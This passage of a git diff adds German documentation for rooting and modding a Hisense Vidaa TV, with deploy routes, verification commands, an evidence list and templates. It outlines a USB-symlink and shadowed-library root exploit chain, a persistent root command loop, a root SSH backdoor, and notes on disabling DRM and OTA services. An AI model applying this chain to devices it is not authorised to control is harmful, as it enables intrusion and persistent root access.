/3rd_rw/UI, put lokale-datei /3rd_rw/UI/, get /3rd_rw/UI/index.html, bye +``` + +Modernes `scp` (OpenSSH 9+) nutzt ebenfalls SFTP und funktioniert dann: + +```bash +scp /local/file root@192.168.188.94:/3rd_rw/UI/ +``` + +**Rollback:** + +```bash +ssh root@192.168.188.94 \ + 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \ + kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \ + /bin/sh /3rd_rw/sshd/start_sshd.sh' +``` + +**Sicherheit:** SFTP läuft als root, key-only, im LAN; derselbe Zugang wie SSH. +Nicht ins Internet exponieren. Der sftp-server ist statisch und hat keine +TV-glibc-Abhängigkeit. + +--- + +## 4. Deploy-Wege (ohne Package Manager) + +| Weg | Wann | Beispiel | +|---|---|---| +| **`File.download`** (Browser root) | HTTP-Datei → `/3rd_rw/appdata` | `HiBrowser.File.download("http://:9000/pub/x","x",1)` | +| **`File.write`** (Browser root) | Text (Skripte/JSON) → appdata | `HiBrowser.File.write("root_cmd.sh","id\n",1)` | +| **Root-Loop** | Kommandos/Deploy als root | `root_cmd.sh` → `root_out.txt` | +| **SSH + base64** | Binärdateien nach `/3rd_rw` | `base64 -w0 x \| ssh root@TV 'base64 -d > /3rd_rw/bin/x'` | +| **SSH + tar** | mehrere Dateien | `tar czf - dir \| ssh root@TV 'tar xzf - -C /3rd_rw'` | +| **USB** | Dateien auf ext4-Stick | Symlink/Datei; der TV mountet `/mnt/usb/` | +| **`scp`/`sftp`** | **nach optionalem SFTP-Install** | `../root/scripts/host/install_sftp.sh`; dann `sftp root@TV` / `scp datei root@TV:/3rd_rw/...` | + +- **`File.download`** schreibt Binärdateien byte-exakt; Zielpfad muss in der Whitelist (`/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`) oder über den USB-Symlink-Bypass erreichbar sein. +- **`File.write`** schreibt Text; Binärdaten → `EINVAL`; für Binär `File.download`. +- **SSH** ist key-only; `root`; `/3rd_rw`/`/data`/`/perm` rw. + +--- + +## 5. Checks / Verifikation + +### 5.1 Host + +```bash +cd /workspace/hisense-he40e5600-root-modding +sha256sum -c SHA256SUMS +root/scripts/host/build_payload.sh # reproduziert 37b13f… +file root/tools/pub/dropbear # statisch ARM +``` + +### 5.2 TV + +```sh +/bin/sh /3rd_rw/appdata/verify.sh +# oder: +cat /3rd_rw/root_proof.txt +ps | grep -E 'dropbear|root_loop' +cat /proc/net/tcp | grep :0016 +grep '^root:' /etc/passwd +ls -l /3rd_rw/sshd/home/.ssh/authorized_keys +``` + +### 5.3 SSH + +```bash +ssh root@192.168.188.94 'id; cat /proc/self/status | grep -E "^(Uid|Gid|CapEff):"' +ssh -T root@192.168.188.94 'uname -a' 2>/dev/null || true +``` + +- `uid=0(root)`; `CapEff=0000003fffffffff`. +- PTY: interaktive Shell; `ssh -T` als Fallback. + +### 5.4 SFTP (nach Install) + +```bash +printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp root@192.168.188.94 +# auf dem TV: +grep -a 'sftp-server' /3rd_rw/sshd/dropbear +# -> /3rd_rw/sshd/sftp-server +``` + +- Wenn `sh: /usr/libexec/sftp-server: No such file` erscheint, ist noch der + ungepatchte Dropbear aktiv: `root/scripts/host/install_sftp.sh`. +- Test-Dropbear/Logs: `/3rd_rw/sshd/dropbear2222.log`, `swap.log`, + `dropbear.log`; Backup `/3rd_rw/sshd/dropbear.nosftp`. + +--- + +## 6. Grenzen / Unknowns + +- **Statisch** ist der sichere Weg; dynamische Binaries brauchen die TV-glibc 2.18. +- **Kein Package Manager** → kein automatisches Dependency-/Update-Handling. +- **`/dev` ro/kein devtmpfs** → PTY-Workaround nötig; andere Device-Nodes statisch. +- **Kein overlayfs** → Bind-Mounts; ro-Dateien per `developer.sh` ersetzen. +- **SFTP** ist optional: Dropbear allein hat keinen sftp-server; der statische OpenSSH-sftp-server + gepatchter Dropbear werden per `install_sftp.sh` installiert. Vorher `ssh`+`base64`/`tar`/`File.download`. +- **`/3rd`/Rootfs 100 % voll**; neue Daten nach `/3rd_rw`/`/data`; kein Flash. +- **UI-/AM-Interna** (`Hisense_*`, `guijs`/`TVAPI`, `app_man`, `LauncherService`) sind nicht vollständig dokumentiert; im DevTools/auf dem TV testen. +- **DRM/`securetime`**, Netflix/Cobalt/Amazon, OTA/`checker.sh` sind nicht Teil des Root-/Deploy-Wegs; Deaktivierung testen. +- **Keine Secrets**: kein Root-Hash, kein privater Key in diesem Ordner. diff --git a/modding/07-evidence-unknowns.md b/modding/07-evidence-unknowns.md new file mode 100644 index 0000000..95a654c --- /dev/null +++ b/modding/07-evidence-unknowns.md @@ -0,0 +1,127 @@ +# 07 — Evidence, Verification, Unknowns + +**Zweck:** Belegbarkeit und ehrlicher Status. Keine Behauptung ohne Pfad/Auszug; alles, was nicht live getestet ist, ist als `UNVERIFIED` markiert. + +--- + +## 1. Was live bestätigt ist + +| Fakt | Beleg | Status | +|---|---|---| +| Browser root | `/proc/self/status` → `Uid/Gid 0 0 0 0`, `CapEff=0000003fffffffff`, Single-Process | **CONFIRMED live** | +| USB-ext4-Symlink-Bypass | `pwn`/`tvi` dangling; `File.write`/`File.download` legt Root-Datei an; `SYMTEST` | **CONFIRMED live** | +| `libtvsysinfo`-Shadow | 33.500 B, SHA `37b13f…`; Boot lädt sie; `ROOT_EXEC_TVI`; self-unlink | **CONFIRMED live** | +| Root-Loop | PID/Log; `uid=0`; `root_cmd.sh` → `root_out.txt` | **CONFIRMED live** | +| Dropbear-SSH | `dropbear` static ARM; `0.0.0.0:22`; `Pubkey auth succeeded for 'root'` | **CONFIRMED live** | +| PTY | Session `pts/0`; `busybox script` → `uid=0(root)` | **CONFIRMED live** | +| `/etc/passwd`-Bind | Root-Home `/3rd_rw/sshd/home:/bin/sh`; authorized_keys 600 | **CONFIRMED live** | +| HamService-Wrapper | `/3rd_rw/hamservice/HamService` startet Loop + SSH, exec real HamService | **CONFIRMED installiert**; Reboot-Test im Root-Guide | +| Payload-Repro | `build_tvi_payload.py` → exakt `37b13f…` | **CONFIRMED** (Host) | + +--- + +## 2. Was aus statischen/live Daten abgeleitet ist (nicht zwingend getestet) + +- Die **Modding-Rezepte** (App-Tile, Custom-UI, Launcher-Daten, AM-/Service-Bloat, `developer.sh`-Bind-Mounts, `patch/opera4x`) sind aus den live gelesenen Dateien/Strukturen abgeleitet. +- **Custom-UI** (`UI/index.html` ersetzen) ist **nicht** live getestet; das Risiko (schwarzer Bildschirm) ist dokumentiert. +- **Bloat-Deaktivierungen** (`ms_service`, `swrc`, `runlog`, `Seriallog`, `securetime`, `netflix`, `browser_base`, `app_man`, `dtv_svc`) sind **nicht** alle getestet; Matrix/Rollback in `05`. +- **`Hisense_StartApp`/`TVAPI`/`guijs`-Signaturen** in der UI sind nicht vollständig belegt; im UI-DevTools (9223) prüfen. +- **`app_man`/`:am`-Semantik** je App (`start`/`URL`/`backgm`/`coexist`) ist aus Strings/Config abgeleitet; einzelne Aktionen testen. +- **`VIDAAU2Launcher`** ist als Alternativ-Skin vorhanden; ob aktiv, `UNVERIFIED`. +- **`preset.txt`/`Category*.xml`-Regeneration** durch `LauncherService`/UI ist nicht vollständig geklärt; die `deletedPresetApp.txt` ist der robuste Hide-Hebel. +- **U-Boot-Env** (Bad CRC/default NFS) ist nicht die echte Boot-Konfiguration; `/proc/cmdline` ist maßgeblich. +- **Secure Boot/Signaturprüfung**, **DRM/PlayReady/Widevine**, **OTA/`checker.sh`** sind nicht Teil des Root-Wegs und nicht vollständig untersucht. + +--- + +## 3. Evidence-Dateien / Pfade + +### 3.1 In diesem Ordner + +- `root/tools/pub/libtvsysinfo.so` — finaler Payload (33500 B, SHA `37b13f…`) +- `root/artifacts/tvi_original.so` — Original-Lib (33220 B, SHA `36ddee…`) +- `root/tools/pub/dropbear`, `dropbearkey` — statische Binaries +- `root/artifacts/keys/{authorized_keys,host-key-fingerprint.txt}` +- `root/tools/{server.py,recon.html,icon.png,live_cmd.txt}` +- `root/scripts/{host,tv}/*` — Build/Deploy/Verify/Rollback +- `sources/dropbear-2022.83.tar.bz2` +- `SHA256SUMS` +- `dead-ends.md` + +### 3.2 Am TV (live gelesen) + +- `/proc/version`, `/proc/cmdline`, `/proc/cpuinfo`, `/proc/filesystems`, `/proc/mounts`, `/proc/partitions` +- `df -h`, `ls -l /lib`, `ls -l /bin`, `ls -l /etc` +- `/etc/inittab`, `/etc/init.d/rcS`, `/etc/rc.d/rc.local` +- `/basic/autorun.sh` (Zeilen 90/162/168/177/190), `/basic/delayrun.sh` +- `/basic/am_config`, `/basic/am_start.ini` +- `/3rd/launcherservice/startLS.sh`, `/3rd/hamservice/startHam.sh`, `/3rd/opera4x/browser/run-Browser.sh`, `/3rd/opera4x/hisenseUI/start-UI.sh` +- `/3rd_rw/UI/index.html`, `UI/pub/HisProductConfig.js`, `UI/lib/launcherDataInterface.js` +- `/3rd_rw/appdata/launcher/{preset.txt,Appinfo.json,deletedPresetApp.txt,data/*,res/*,cache/*}` +- `/3rd_rw/user_db.db` (Settings), `/3rd_rw/opera4x/opera_home_browser/{opera.json,browser.db}` +- `/3rd_rw/sshd/…`, `/3rd_rw/appdata/root_loop.sh`, `root_loop.pid`, `root_out.txt` +- `ps`, `/proc//cmdline`, `/proc//status` + +### 3.3 Alter Run (nur Provenienz) + +Der frühere Run-Ordner `docs/re/20261025-vidaa-takeover/` (im alten Projekt) enthält die Roh-Captures/History. Er ist **nicht** nötig für die Replikation; die finalen Artefakte/Skripte/Docs liegen in diesem Ordner. + +--- + +## 4. Verification-Status (Modding) + +| Bereich | Status | +|---|---| +| System/Linux/Package Manager/Storage | **CONFIRMED** (live/static) | +| Boot-Kette/Skripte/Zeilen/Services | **CONFIRMED** (live/static) | +| UI-Start/Prozesse/Pfade/App-Daten/AM | **CONFIRMED** (live/static) | +| 26 Preset-Apps / `Appinfo` / `deleted` | **CONFIRMED** (live gelesen) | +| App-Tile (Route A) | **UNVERIFIED** (nicht live getestet; Mechanik aus `Appinfo`/Launcher) | +| Custom-UI (Route B) | **UNVERIFIED** (nicht live getestet; Risiko dokumentiert) | +| Launcher-Daten/Skin (Route C) | **UNVERIFIED** (nicht live getestet) | +| Eigener Service (Route D) | **Root/SSH-Teil live**; Dienst-Beispiele `UNVERIFIED` | +| Bind-Mount/Overlay (Route E) | **Mechanik live** (`/etc/passwd`, `/dev/pts`); AM-/UI-Bind-Mounts `UNVERIFIED` | +| Statische Tools/Deploy (Route F) | **Dropbear/SSH/PTY live**; andere Tools `UNVERIFIED` | +| SFTP (optional) | statischer OpenSSH-sftp-server + gepatchter Dropbear gebaut; Installer testet 2222 vor 22; **TV-Test nach Install** | +| Bloat-Deaktivierungen | **UNVERIFIED** (Matrix/Rollback in `05`) | + +--- + +## 5. Bekannte Unknowns + +- Exakte SoC-Bezeichnung (MT5863 vs. MT53xx-Familie), Kernanzahl, Secure-Boot/Signaturen. +- Vollständige Kernel-Config, `dm-3`-Konstruktion, `spdata`/`perm`/`facset`/`hiscfg`/`eeprom`/`channel`/`pq`/`adsp`/`logo`. +- Echter U-Boot-Flow/Env (Bad CRC), A/B-Slot-Auswahl, Recovery. +- `checker.sh`/`ota_upgrade_strategy.sh`/`file_upgrading`/`bspatch`/OTA. +- `dtv_svc`/`app_man`/`:am`-Interna, `coexist_set`/`backgm`/`keymap`. +- `LauncherService`-Datenquelle/Update (Store/Foxxum/FCGI), `preset`-/`Category`-Regeneration. +- Aktive UI-Template-/Skin-Auswahl; `VIDAAU2Launcher` aktiv? `UNVERIFIED`. +- `Hisense_StartApp`/`TVAPI`/`guijs`-Signaturen; `app_man`-Start-Sinn. +- Bloat-Folgen: `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService`/`securetime`/`browser_base`/`app_man`/`dtv_svc`. +- DRM/PlayReady/Widevine/Netflix/Cobalt/Amazon; `securetime`. +- SFTP ist über den statischen OpenSSH-sftp-server + gepatchten Dropbear nachgerüstet; der Installer testet Port 2222 und erst dann 22. Das TV-Testergebnis steht in `/3rd_rw/sshd/dropbear2222.log` und `swap.log`; `ssh`+base64/tar bleibt der Fallback. +- Ob eine eigene `UI/index.html` die `TVAPI`/`model`-Globals braucht oder `Hisense_*`/`guijs` direkt nutzbar sind. +- Ob `preset`/`Category`/`serviceUpdate` bei Store-/Netz-Updates überschrieben werden. + +--- + +## 6. Dead Ends (Kurzfassung) + +Siehe `../dead-ends.md`. Die wichtigsten: + +- Factory `Builtin Video`/`Write Keys`, AM `startApp` (kein exec/args). +- V8 5.9/Chromium 59 ohne öffentlichen ARM32-Exploit; nicht nötig. +- `liblogLevel`-Shadow (Index 17 belegt), `libIQQILib`/`libota`/`hisensefileutils`-Varianten, `ms-screen`-`lib`-Symlink. +- `File.write` binär (`EINVAL`), `loadLibrary`-Tricks. +- FAT32/Superfloppy-USB, fehlende Symlink-Möglichkeit. +- Dropbear `-s` (gibt es nicht), PTY direkt auf `/dev/pts` (ro). **SFTP ist kein Dead End mehr**: statischer OpenSSH-sftp-server + gepatchter Dropbear (`install_sftp.sh`). +- UI-Alt-Skins (`launcher`/`VIDAAU2Launcher`) als aktiven Einstieg; die aktive UI ist `/3rd_rw/UI`. + +--- + +## 7. Keine Secrets + +- **Kein Root-Hash** in diesem Ordner. +- **Kein privater SSH-Key**; nur der Public Key (`authorized_keys`) + Host-Key-Fingerprint. +- **Keine Captures/ungefilterten Dumps** in diesem Ordner; die Roh-Evidence liegt (falls benötigt) im alten Run-Ordner. +- **Keine Zugangsdaten** zu Dritt-Diensten; die Preset-URLs sind nur Ziel-Daten, keine Aufforderung, sie zu kontaktieren. diff --git a/modding/README.md b/modding/README.md new file mode 100644 index 0000000..212dc38 --- /dev/null +++ b/modding/README.md @@ -0,0 +1,165 @@ +# Modding Docs — Hisense HE40E5600FFWTS (Vidaa U, V0100.01.00A.N0410) + +**Stand:** 2026-10-26 +**TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94` +**Host/Server:** `192.168.188.150:9000` +**Root/SSH:** siehe [`../root/ROOT-GUIDE.md`](../root/ROOT-GUIDE.md) +**Status:** Root + Dropbear-SSH (key-only) live; Modding-Recipes in diesem Ordner sind static/live belegt, aber **noch nicht alle am TV getestet** (siehe `07-evidence-unknowns.md`). + +--- + +## Die drei Fragen in 30 Sekunden + +### Welches Linux ist das? +Ein **Hisense/MediaTek Embedded Linux**, kein Standard-Distro: + +- **Kernel:** Linux **3.18.25** (ARMv7, SMP PREEMPT, Linaro GCC 4.8.2, Build 2023-04-10) +- **SoC:** MediaTek **MT53xx/MT5863**-Klasse (Kernel-Cmdline `mt53xx-emmc`; Browser-Build `mt5863_sa_768_linux`; Cortex-A53, ARMv7, NEON/VFPv4) +- **Userland:** **glibc 2.18** (`/lib/libc-2.18.so`, `ld-linux.so.3`), **BusyBox 1.18.5**, GNU/BusyBox-Mix +- **Init:** SysV-artig (`/etc/inittab`, `/etc/init.d/rcS`, `/etc/rc.d/rc.local`), **kein systemd** +- **Kein `/etc/os-release`**, keine Distro-Version; Firmware-String `V0100.01.00A.N0410` +- **Storage:** squashfs-ro Rootfs (`/`, 38.8 MB, 100 % voll), `/3rd` squashfs-ro (141 MB, 100 %), `/3rd_rw` ext4-rw (1.1 GB, 56 % belegt), `/data` ext4-rw (1.9 GB, fast leer), `/perm` ext4-rw (3.9 MB), `/spdata` ext4-ro +- **Kein overlayfs** im Kernel; Modding läuft über **rw-Partitionen + `mount --bind`** und die vorhandenen rw-Verzeichnisse (`/3rd_rw`, `/data`, `/perm`). + +### Gibt es einen Package Manager? +**Nein.** Kein `apt`, `dpkg`, `opkg`, `ipkg`, `rpm`, `apk`, `yum` oder `pacman`; keine `/etc/opkg`, `/var/lib/dpkg` o. ä. (Root-Check, siehe `07`). +**Konsequenz:** Eigene Tools/UI/Services werden als **statische ARM-Binaries** (oder Shell-Skripte) gebaut und per `File.download`, SSH/`base64`/`tar`, USB oder (nach optionalem SFTP-Install) per `sftp`/`scp` nach `/3rd_rw` gebracht. Es gibt **kein** Paket-Repo, kein `opkg install`. + +### Wo ist das UI und wie läuft es? +Das TV-UI ist eine **Web-UI im `hisenseUI`-Browser** (Opera/Chromium-Basis, root, GLES): + +``` +/basic/autorun.sh (Zeile 168) + → /3rd/opera4x/hisenseUI/start-UI.sh + → ./bin/hisenseUI --hw-gles --jsplugins-dir=/3rd/UI_jsplugins \ + --disable-web-security ... -u /3rd_rw/UI/index.html +``` + +- **UI-Prozess:** `hisenseUI` (z. B. PID 589), root, `--hw-gles`, `--disable-web-security`, JS-Plugins aus `/3rd/UI_jsplugins`, DevTools-Port **9223** (wenn `/3rd_rw/appdata/enable_developer_tools` existiert) +- **UI-Seite:** `/3rd_rw/UI/index.html` (PIXI-basierte UI; lädt `model/model.js`, `sdk/UI.js`, `lib/launcherDataInterface.js`, `pub/HisProductConfig.js` usw.) +- **Launcher-/App-Daten:** `/3rd_rw/appdata/launcher/` + - `preset.txt` — die 26 vorinstallierten App-Tiles (Netflix, Prime Video, Disney+, YouTube, …; aktuell inkl. `VidaaRecon`) + - `Appinfo.json` — vom Nutzer installierte Web-Apps (unser `VidaaRecon`) + - `deletedPresetApp.txt` — JSON-Array der ausgeblendeten Tiles (Stand 2026-10-26: `[]`, alte Probe-URLs entfernt) + - `data/CategoryIndex.xml`, `CategoryList_*.xml`, `Category_1001_*.xml`, `Category_57_*.xml`, `PicInfo.xml` — Kategorien/App-Daten (aktiv, wenn `serviceUpdate.xml` zum Land passt; sonst `UI/data/`-Default) + - `res/*.png` — Tile-Icons; `cache/index.json` — Icon-Cache +- **LauncherService:** `/3rd/launcherservice/bin/LauncherService` (startet per `/3rd/launcherservice/startLS.sh` aus `delayrun.sh` nach ca. 15 s); liefert/aktualisiert Launcher-Daten; Strings u. a. `/3rd_rw/appdata/launcher/data/CategoryIndex.xml`, `PicInfo.xml`, `/tmp/launcher/launcherServiceAuth.xml` +- **Native Apps / AM:** `/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo`; startet `dtv_svc` (TV), `netflix`, `dialserver`, `samba_relay_agent`, `browser_base`, `securetime` usw.; App-Steuerung über `:am,,:=` +- **Web-Browser (nicht das TV-UI):** `hisense_browser` (z. B. PID 1320), gestartet über `/3rd/opera4x/browser/run-Browser.sh` (AM-App `opera4x`), `--hw-dfb`, `--allow-file-access-from-files`, DevTools **9224**; hier läuft unsere Recon-Seite. Der „TV Browser“-Tile startet diesen Browser. + +**Wichtig:** `hisenseUI` (TV-UI) und `hisense_browser` (Web-Browser) sind **zwei verschiedene Prozesse** mit unterschiedlichen Startskripten, Renderern (GLES vs. DFB), JS-Plugin-Verzeichnissen und Debug-Ports. + +--- + +## Ordnerstruktur + +| Datei | Inhalt | +|---|---| +| `01-system-linux.md` | Linux/Kernel/SoC, glibc/BusyBox, Package-Manager-Negativ, Dateisysteme, Partitionen, Toolchain-Constraints | +| `02-boot.md` | U-Boot/eMMC, Kernel-Cmdline, init/rcS/rc.local, `autorun.sh`, `developer.sh`, AM/UI/Delayrun, Services, Boot-Hooks | +| `03-ui.md` | `hisenseUI` vs. `hisense_browser`, `/3rd_rw/UI`, `ldi.js`, Launcher-/App-Daten, `preset`/`Appinfo`/`deleted`, `LauncherService`, AM/`:am`, Plugins, DevTools, Restart | +| `04-modding.md` | Rezepte: Custom-App-Tile, Custom-UI, Launcher-Skin/Daten, eigener Service, `developer.sh`, `patch/opera4x`, Bind-Mounts, `:am`/JS-APIs, Rollback | +| `05-bloat.md` | 26 Preset-Apps, Native-Apps/Services-Matrix, was man gefahrlos deaktivieren kann, `developer.sh`-Stubs, Platz/Reclaim, Risiken | +| `06-toolchain-deploy.md` | Kein Package Manager: statisch für ARM bauen, deployen (File/SSH/USB), glibc-2.18-/Kernel-3.18-Fallen, Dropbear/PTY, Checks | +| `07-evidence-unknowns.md` | Belege, Pfade, Hashes, Verification-Status, bekannte Unknowns | +| `templates/` | `developer.sh`, `custom-app.json`, `hide-preset.json`, `custom-ui.html`, `start-UI-custom.sh`, `README` | +| `../root/ROOT-GUIDE.md` | Kompletter Root-/SSH-Weg (USB-ext4-Symlink, `libtvsysinfo`-Shadow, Root-Loop, Dropbear, PTY, Persistenz) | + +--- + +## Schnellstart (was zuerst?) + +1. **Root/SSH prüfen:** `ssh root@192.168.188.94 'id; ps | grep -E "hisenseUI|hisense_browser|dropbear"'` — Details im Root-Guide. + **SFTP (optional):** `../root/scripts/host/install_sftp.sh` (testet Port 2222, dann 22); danach `sftp root@192.168.188.94`. +2. **UI ansehen:** Im UI-Prozess DevTools 9223 (falls `enable_developer_tools`), im Web-Browser 9224. Die UI-Seite ist `/3rd_rw/UI/index.html`. +3. **Sicherster Modding-Schritt:** Eine **eigene App-Tile** über `/3rd_rw/appdata/launcher/Appinfo.json` (siehe `04-modding.md`, Route A). Das ist reversibel und macht das UI nicht kaputt. +4. **Dann:** Launcher-Daten/Tiles über `preset.txt` / `deletedPresetApp.txt` / `Category_*.xml` anpassen (Route C). +5. **Erst danach:** Die UI-Seite `/3rd_rw/UI/index.html` ersetzen (Route B) — Backup, SSH/Web-Browser als Rettungsweg, UI-Prozess neu starten. +6. **Bloat:** Preset-Tiles ausblenden (`deletedPresetApp.txt`), native Apps/Services über `am_start.ini`/`am_config`/`delayrun.sh` und `developer.sh` deaktivieren (`05-bloat.md`). Kein Flash nötig. +7. **Eigene Services/Funktionen:** `/3rd_rw/developer.sh` (früher Root-Hook) oder der vorhandene `HamService`-Wrapper (spät, nach 15 s); statische ARM-Binaries; `:am`/`Hisense_*`/`HiBrowser` APIs. + +--- + +## Die wichtigsten Pfade (Cheat-Sheet) + +``` +# TV-UI +/3rd_rw/UI/index.html # UI-Seite (PIXI), rw +/3rd_rw/UI/{model,sdk,lib,pub,templates,module,assets,language,keyboard,data} +/3rd/opera4x/hisenseUI/start-UI.sh # startet hisenseUI (ro) +/3rd/UI_jsplugins/ # JS-TV-APIs der UI (ro) + +# Launcher / Apps +/3rd_rw/appdata/launcher/preset.txt +/3rd_rw/appdata/launcher/Appinfo.json +/3rd_rw/appdata/launcher/deletedPresetApp.txt +/3rd_rw/appdata/launcher/data/{CategoryIndex.xml,CategoryList_*.xml,Category_*.xml,PicInfo.xml,serviceUpdate.xml} +/3rd_rw/appdata/launcher/res/ # Icons +/3rd_rw/appdata/launcher/cache/index.json + +# Web-Browser +/3rd/opera4x/browser/run-Browser.sh # startet hisense_browser +/3rd_rw/opera4x/opera_home_browser/ # Profil (browser.db, opera.json, ...) +/3rd/opera4x/opera_dir/jsplugins/ # HiBrowser/JS-APIs des Browsers + +# Native Apps / AM +/basic/app_man +/basic/am_config +/basic/am_start.ini +/basic/delayrun.sh +/3rd/launcherservice/startLS.sh +/3rd/hamservice/startHam.sh +/3rd_rw/hamservice/HamService # aktueller Wrapper (SSH/Root-Loop) +/3rd_rw/developer.sh # optionaler früher Root-Boot-Hook (Zeile 90) +/3rd_rw/patch/opera4x # optionaler Vendor-Overlay (full bind mount) + +# Root/SSH +/3rd_rw/appdata/root_loop.sh # Root-Kommandokanal +/3rd_rw/appdata/root_proof.txt +/3rd_rw/sshd/ # Dropbear, Host-Key, authorized_keys, start_sshd.sh +``` + +--- + +## Warnungen / Spielregeln + +- **Kein Flash, kein `.pkg`, kein Bootloader.** Der Rootfs und `/3rd` sind squashfs-ro; Änderungen gehören nach `/3rd_rw` (rw), `/data` (rw) oder `/perm` (rw). Für ro-Dateien: **`mount --bind`** aus `/3rd_rw` (kein overlayfs im Kernel). +- **Backup vor jedem UI-/Launcher-/AM-Eingriff.** Besonders `/3rd_rw/UI/index.html`, `/3rd_rw/appdata/launcher/*`, `/basic/am_config`/`am_start.ini` (Kopien nach `/3rd_rw/backup/`). +- **SSH/Root als Rettungsweg behalten.** Das UI kann durch eine kaputte Seite schwarz werden; der `hisenseUI`-Prozess lässt sich per SSH/root-Loop killen und neu starten, die Seite aus dem Backup zurückholen. +- **`developer.sh` ist ein früher Root-Hook** (vor `ms_service`, `hisenseUI`, `app_man`, `delayrun`). Ein Fehler dort kann den Boot/UI beeinflussen; immer mit `set -x`/Log und Fallback (SSH/Web-Browser) arbeiten. +- **`/3rd_rw/patch/opera4x` ist ein full bind mount** über `/3rd/opera4x`: Es ersetzt das ganze Verzeichnis. Nur mit vollständiger Kopie oder Symlink-Baum verwenden; für einzelne Dateien lieber `developer.sh` + Datei-Bind-Mount. +- **Kein Package Manager:** Keine `opkg`/`apt`-Pakete; statische ARM-Binaries bauen/testen; die TV-glibc ist 2.18, der Kernel 3.18. +- **`/dev` ist statisch/ro (kein devtmpfs);** PTYs brauchen den devpts-Workaround (`/dev/shm/pts` → bind `/dev/pts`); siehe Root-Guide/`06`. +- **Keine Secrets in diesem Ordner:** Kein Root-Hash, kein privater SSH-Key; nur Public Key/Host-Fingerprint. +- **Kein Internet-Exposure:** Der TV ist im LAN; SSH ist key-only root; nicht ins Internet weiterleiten. +- **Getestet vs. ungetestet:** Root/SSH/PTY sind live bestätigt; die UI-/Bloat-/Custom-UI-Rezepte sind aus statischen/live Daten abgeleitet und **noch nicht alle ausgeführt** (Status in `07`). Erst eine Änderung, dann testen, dann die nächste. + +--- + +## Kurz: der rote Faden + +``` +USB-ext4 + tvi-Symlink + → libtvsysinfo-Shadow (Index 17) → DT_INIT root + → Root-Loop → SSH (Dropbear, key-only) + → /3rd_rw/developer.sh (früh) oder HamService-Wrapper (spät) + → UI/App-Daten/Services anpassen + → /3rd_rw/UI (UI-Seite), /3rd_rw/appdata/launcher (Tiles), + /basic/am_config|am_start (native Apps), delayrun (Services) +``` + +Viel Spaß beim Modden — und immer schön backupen. :) + + +--- + +## Wo liegen die Root-/Deploy-Skripte? + +Alles im Schwester-Ordner `../root/`: + +- `../root/tools/pub/` — ausgelieferte Dateien (Payload, Dropbear, Keys, TV-Skripte) +- `../root/scripts/host/` — USB, Server, Payload-Plant, Upload, Root-CMD, Builds, `install_sftp.sh`/`build_sftp_server.sh` +- `../root/scripts/tv/` — `start_sshd.sh`, `root_loop.sh`, `hamservice-wrapper.sh`, `deploy_sshd.sh`, `verify.sh`, `rollback.sh`, `install_sftp_stage.sh`/`enable_sftp.sh`/`swap_sftp.sh` +- `../root/ROOT-GUIDE.md` — der komplette Root-Weg + +Die Modding-Rezepte in `04-modding.md` nutzen diese Skripte/Templates, aber du kannst alles auch manuell per SSH/Recon-Seite machen. Nichts hier erfordert den alten Run-Ordner. diff --git a/modding/templates/README.md b/modding/templates/README.md new file mode 100644 index 0000000..572d039 --- /dev/null +++ b/modding/templates/README.md @@ -0,0 +1,43 @@ +# Templates — kurz erklärt + +| Datei | Ziel | +|---|---| +| `developer.sh` | früher Root-Boot-Hook (`/3rd_rw/developer.sh`), Beispiele für Binds/Stubs/Services | +| `custom-app.json` | `AppInfo`-Eintrag für eine eigene App-Tile (`Appinfo.json`) | +| `hide-preset.json` | `deletedPresetApp.txt`-Beispiel (Tiles ausblenden) | +| `custom-ui.html` | minimale Custom-UI-Seite (`/3rd_rw/UI/custom.html`) | +| `start-UI-custom.sh` | `start-UI.sh`-Klon, lädt `custom.html` | + +## Nutzung + +```sh +# 1) developer.sh (optional, früh) +cp developer.sh /3rd_rw/developer.sh +chmod 755 /3rd_rw/developer.sh +# Beispiele in der Datei einkommentieren; reboot + +# 2) App-Tile +# custom-app.json-Inhalt in /3rd_rw/appdata/launcher/Appinfo.json mergen +# (bestehende AppInfo-Einträge behalten!) +# UI neu starten / reboot + +# 3) Tiles ausblenden +cp hide-preset.json /3rd_rw/appdata/launcher/deletedPresetApp.txt +# anpassen; UI neu starten / reboot + +# 4) Custom-UI +cp custom-ui.html /3rd_rw/UI/custom.html +cp start-UI-custom.sh /3rd_rw/patch/start-UI-custom.sh +chmod 755 /3rd_rw/patch/start-UI-custom.sh +# in /3rd_rw/developer.sh: +# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh +# reboot +``` + +## Wichtig + +- **Backup** vor jeder Änderung: `/3rd_rw/backup/`. +- **SSH/Root-Loop** als Rettungsweg behalten; bei schwarzem Bildschirm `UI/index.html`-Backup zurück, `hisenseUI` neu starten. +- **API-Namen** (`Hisense_StartApp`, `TVAPI`, `guijs`) sind `UNVERIFIED`; im UI-DevTools (9223) / Web-Browser (9224) prüfen. +- **Kein Flash**: alles in `/3rd_rw`/Bind-Mounts; Rollback per Datei/`umount`/Reboot. +- **`hide-preset.json`** ist ein Vollbeispiel (inkl. `TV Browser`/`vidaa-plus`); kürze es auf das, was du wirklich ausblenden willst. `VidaaRecon` nicht ausblenden, wenn du die Recon-Seite brauchst. diff --git a/modding/templates/custom-app.json b/modding/templates/custom-app.json new file mode 100644 index 0000000..a831f6d --- /dev/null +++ b/modding/templates/custom-app.json @@ -0,0 +1,19 @@ +{ + "AppInfo": [ + { + "AppId": "MyApp", + "Thumb": "file:///3rd_rw/appdata/custom/icon.png", + "Icon_96": "file:///3rd_rw/appdata/custom/icon.png", + "Image": "file:///3rd_rw/appdata/custom/icon.png", + "URL": "file:///3rd_rw/appdata/custom/index.html", + "AppName": "MyApp", + "Title": "MyApp", + "IconURL": "file:///3rd_rw/appdata/custom/icon.png", + "StartCommand": "file:///3rd_rw/appdata/custom/index.html", + "InstallTime": "2026-10-26", + "RunTimes": 0, + "StoreType": "foxxum", + "PreInstall": false + } + ] +} diff --git a/modding/templates/custom-ui.html b/modding/templates/custom-ui.html new file mode 100644 index 0000000..febea63 --- /dev/null +++ b/modding/templates/custom-ui.html @@ -0,0 +1,76 @@ + + + + + +My TV + + + +
+

My TV

+
+ + + + + + +
